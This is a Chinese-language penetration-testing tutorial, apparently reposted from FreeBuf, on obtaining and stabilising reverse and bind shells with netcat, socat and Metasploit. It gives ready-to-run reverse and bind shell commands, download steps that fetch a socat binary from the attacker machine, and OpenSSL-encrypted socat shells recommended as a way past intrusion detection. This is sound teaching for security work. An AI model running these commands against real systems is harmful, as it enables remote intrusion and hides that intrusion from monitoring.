关于渗透测试中的shell那些事
2022-4-10 17:33:57 Author: www.freebuf.com(查看原文) 阅读量:3 收藏

前置知识

shell 是我们在与命令行环境 (CLI) 交互时使用的。在Linux shell 中有 bash,sh等,Windows 上的是 cmd.exe 和 Powershell。

有时在应用服务器上(常见为web服务器),可以强制执行任意代码。在这种情况下,我们希望使用此初始访问权限来获取目标上运行的 shell。

一般来说,我们需要恶意的 shell 代码,以及与生成的 shell 交互的方式。

先看看有哪些常见shell?

natcat

默认情况下,Netcat shell 非常不稳定(容易丢失)

socat

Socat shell 通常比开箱即用的 netcat shell 更稳定。但它语法比较难。

Metasploit -- multi/handler

用于接收反向 shell,是Metasploit 框架的一部分,提供一种获得稳定 shell 的成熟方法,也是与meterpreter shell 交互的唯一方法,也是处理分段payload的最简单方法。

Msfvenom

是 Metasploit 框架的一部分,用于动态生成payload。msfvenom 还可以生成除反向和绑定 shell 之外的payload。

还有许多不同语言的 shell 存储库。其中最突出的之一是 Payloads all the Things。PentestMonkey Reverse Shell Cheatsheet 也很常用。除了这些在线资源,Kali Linux 还预装了位于 /usr/share/webshells 的各种 webshell。SecLists 存储库虽然主要用于单词列表,但也包含一些非常有用的获取 shell 的代码。
它们的链接如下:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

https://github.com/danielmiessler/SecLists

shell的类型

当涉及到利用目标时,我们对两种 shell 感兴趣:反向 shell 和绑定 shell。

例子1-反向shell
攻击者:sudo nc -lvnp 443
受害者:nc <LOCAL-IP> <PORT> -e /bin/bash

例子2-绑定shell
受害者:nc -lvnp <port> -e "cmd.exe"
攻击者:nc MACHINE_IP <port>

交互性 interactive与非交互性 non-interactive
交互式shell

Powershell、Bash、Zsh、sh 或任何其他标准 CLI 环境,允许您在执行程序后与它们进行交互。 例如,以 SSH 登录提示为例:
ssh [email protected]
会询问用户输入 yes 或 no 以继续连接。 这是一个交互式程序,需要交互式shell才能运行。

非交互式shell

不幸的是,大多数简单的反向和绑定 shell 都是非交互式的,这会使进一步的利用变得更加棘手。

默认情况下,这些shell非常不稳定。 它们是非交互式的,并且经常出现奇怪的格式错误。这是因为它们实际上是在终端内运行的进程,而不是它本身就是真正的终端。

相当于家用路由器再多“接”了一个其他设备,您连接的是它。
您得到的shell是一个进程,为什么不直接去连家用路由器呢?干掉那些影响稳定性的“中间进程”,使用直连。

幸运的是,有很多方法可以在 Linux 系统上稳定 netcat shell。 Windows 反向 shell 的稳定性往往要困难得多。

反向shell
nc -lvnp <port-number>
-l 用于告诉 netcat 这将是一个监听器 
-v 用于请求详细输出 
-n 告诉 netcat 不要解析主机名或使用 DNS。 
-p 表示将遵循端口规范。 

绑定shell
nc <target-ip> <chosen-port>

如果我们已经捕获或连接到了一个 netcat shell,接下来呢?

当然是稳定化它

基于python的稳定化

借助python开辟一个新的回连,无“中间商”赚差价

sudo nc -lvnp 443 获取到反向shell
python -c 'import pty;pty.spawn("/bin/bash")'    使用 Python 生成功能更好的 bash shell
Ctrl + Z 将 shell 设置为背景
stty raw -echo; fg    稳定化并重新进入shell

基于rlwrap的稳定化

rlwrap 是一个程序,简单来说,它可以让我们在收到 shell 后立即访问历史记录、选项卡自动完成和箭头键。

sudo apt install rlwrap
rlwrap nc -lvnp <port>

在 netcat 监听器前面加上“rlwrap”给了我们一个更全功能的 shell。 这种技术在处理 Windows shell 时特别有用,否则这些 shell 很难稳定。 在处理 Linux 目标时,可以使用与前面技术相同的技巧来完全稳定:使用 Ctrl + Z 将 shell 置于后台,然后使用 stty raw -echo; fg稳定并重新进入shell。

基于Socat的稳定化

使用初始 netcat shell 作为进入功能更全的 socat shell 的垫脚石。
请记住,这种技术仅限于 Linux 目标,因为 Windows 上的 Socat shell 不会比 netcat shell 更稳定。
为了实现这种稳定方法,我们首先将 socat 静态编译的二进制文件 (编译为没有依赖关系的程序版本)传输到目标机器。
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true (编译好了)

sudo python3 -m http.server 80
linux或windows 武器化交付阶段
wget <LOCAL-IP>/socat -O /tmp/socat
Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe     

反向shell
socat 的语法比 netcat 的语法要难得多。 这是 socat 中基本反向 shell 侦听器的语法:
语法 - :表示标准输入输出

socat TCP-L:<port> -相当于 nc -lvnp 端口

在 Windows 上,我们将使用此命令重新连接:
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
pipes选项用于强制 powershell(或 cmd.exe)使用 Unix 风格的标准输入和输出。
这是linux的等效命令:
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

绑定shell
linux与windows下的监听语法
socat TCP-L:<PORT> EXEC:"bash -li"
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
无论目标是什么,我们都在攻击者机器上使用此命令连接到等待的侦听器。
socat TCP:<TARGET-IP>:<TARGET-PORT> -


现在让我们看看 Socat 更强大的用途之一:完全稳定的 Linux tty 反向 shell。这仅在目标是 Linux 时有效,但明显更稳定。
这是新的侦听器语法:

攻击者socat TCP-L:<port> FILE:`tty`,raw,echo=0

我们将当前 TTY 作为文件传递并将回显设置为零。这相当于 Ctrl + Z, stty raw -echo;fg 使用 netcat shell 的 技巧 ,好处是立即稳定并连接到完整的 tty。

受害者机器:

socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
pty:在目标上分配伪终端,稳定化的一部分
stderr:显示错误信息
sigint:将任何ctrl+c命令传递到子进程中
setsid:在新会话中创建进程
sane:稳定终端,试图“正常化”它

此socat shell是完全交互式的,允许我们使用交互式命令,ssh,vim或nano等。-d -d增加详细程度,在实验时比较有用。

socat 的众多优点之一是它能够创建加密的绑定shell与反向shell。这也是为啥,技术书籍都用它来举例已帮助理解的原因所在。

为什么要这样做? 除非您拥有解密密钥,否则无法监视加密的 shell,因此通常能够绕过 IDS。

使用加密shell时,可以用语法openssl替换掉命令中的tcp部分。

首先生成一个证书
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
填写可以留空或者随意填

输出合并为一个文件
cat shell.key shell.crt > shell.pem

设置反向 shell 监听器
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
verify=0:不需要费劲尝试验证证书的公认权威签名了,自建证书哪有什么公章与合法性。

受害者的反向连接
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

绑定shell如下
受害者:socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
攻击者:socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

再次注意:证书必须与监听器一起使用,因此需要带上PEM文件的命令。

作为结尾,稳定化tty技术与加密技术的监听与回连语法如下:

攻击者监听:
socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0
受害者回连:
socat OPENSSL:10.10.10.5:53,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

感谢师傅们很有耐心的阅读到这里,我们还会再见面的,共勉。感谢阿象,感谢社区,感谢祖国,我爱祖国。


文章来源: https://www.freebuf.com/articles/web/328278.html
如有侵权请联系:admin#unsafe.sh